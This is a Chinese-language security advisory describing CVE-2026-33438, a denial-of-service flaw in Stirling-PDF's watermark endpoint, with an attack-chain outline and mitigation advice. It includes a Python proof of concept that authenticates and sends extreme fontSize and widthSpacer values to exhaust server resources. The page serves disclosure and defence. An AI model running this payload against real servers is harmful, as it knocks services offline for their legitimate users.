IPBUF安全漏洞报告
English
CVE-2026-33438 CVSS 6.5 中危

CVE-2026-33438 Stirling-PDF 拒绝服务漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33438
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Stirling-PDF

相关标签

DoS拒绝服务Stirling-PDF资源耗尽CVE-2026-33438

漏洞概述

Stirling-PDF在2.1.5至2.5.2版本中存在严重的拒绝服务漏洞(DoS)。该漏洞位于水印添加功能的 `/api/v1/security/add-watermark` API端点。由于缺乏对输入参数的有效校验,经过身份验证的低权限攻击者可以通过提交包含极端值的 `fontSize` 或 `widthSpacer` 参数,触发服务器资源耗尽,最终导致服务崩溃,严重影响系统可用性。

技术细节

该漏洞的技术根源在于Stirling-PDF后端在处理水印添加请求时,缺乏对关键输入参数 `fontSize`(字体大小)和 `widthSpacer`(宽度间隔)的有效性验证与边界限制。攻击者首先需要进行身份认证,获取合法的访问令牌或会话。随后,攻击者构造恶意HTTP POST请求发送至 `/api/v1/security/add-watermark` 端点。在请求载荷中,将 `fontSize` 或 `widthSpacer` 设置为极端的数值(例如极大值)。当服务器端尝试解析并利用这些参数生成PDF水印时,会触发异常的资源分配逻辑,导致CPU或内存资源瞬间被耗尽。这不仅会阻塞当前处理线程,在严重情况下还会直接导致应用程序进程崩溃,造成拒绝服务。

攻击链分析

STEP 1
侦察与认证
攻击者识别出目标系统运行的是受影响版本的Stirling-PDF,并注册或使用低权限账户登录系统。
STEP 2
构造恶意请求
攻击者向 `/api/v1/security/add-watermark` 端点构造HTTP POST请求,在请求体中将 `fontSize` 和 `widthSpacer` 参数设置为极端数值(如极大整数)。
STEP 3
触发资源耗尽
服务器端接收并处理该请求,尝试根据极端参数值进行水印渲染操作,导致CPU或内存资源被过度消耗。
STEP 4
拒绝服务
由于资源耗尽,服务器进程崩溃或无法响应新的请求,导致合法用户无法访问服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Change to actual target) target_url = "http://localhost:8080/api/v1/security/add-watermark" # Attacker credentials login_url = "http://localhost:8080/api/v1/auth/login" credentials = { "username": "test_user", "password": "test_password" } # Create session to maintain authentication session = requests.Session() # 1. Authenticate auth_response = session.post(login_url, json=credentials) if auth_response.status_code != 200: print("Login failed") exit(1) # 2. Prepare exploit payload # Extreme values for fontSize and widthSpacer to cause resource exhaustion exploit_data = { "fontSize": 999999999, "widthSpacer": 999999999 } # Depending on the endpoint implementation, files might be required. # Adjusting payload to mimic a typical multipart request if necessary, # but focusing on the parameters described. files = { 'file': ('dummy.pdf', open('dummy.pdf', 'rb'), 'application/pdf') } print("Sending malicious payload...") try: # 3. Send the request response = session.post(target_url, data=exploit_data, files=files, timeout=5) print(f"Response status code: {response.status_code}") except requests.exceptions.Timeout: print("Server timed out - DoS likely successful.") except Exception as e: print(f"An error occurred: {e}")

影响范围

Stirling-PDF >= 2.1.5, < 2.5.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员限制对 `/api/v1/security/add-watermark` 接口的访问权限,仅允许受信任的IP或用户调用;或者在反向代理层设置参数白名单,拦截包含异常数值的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表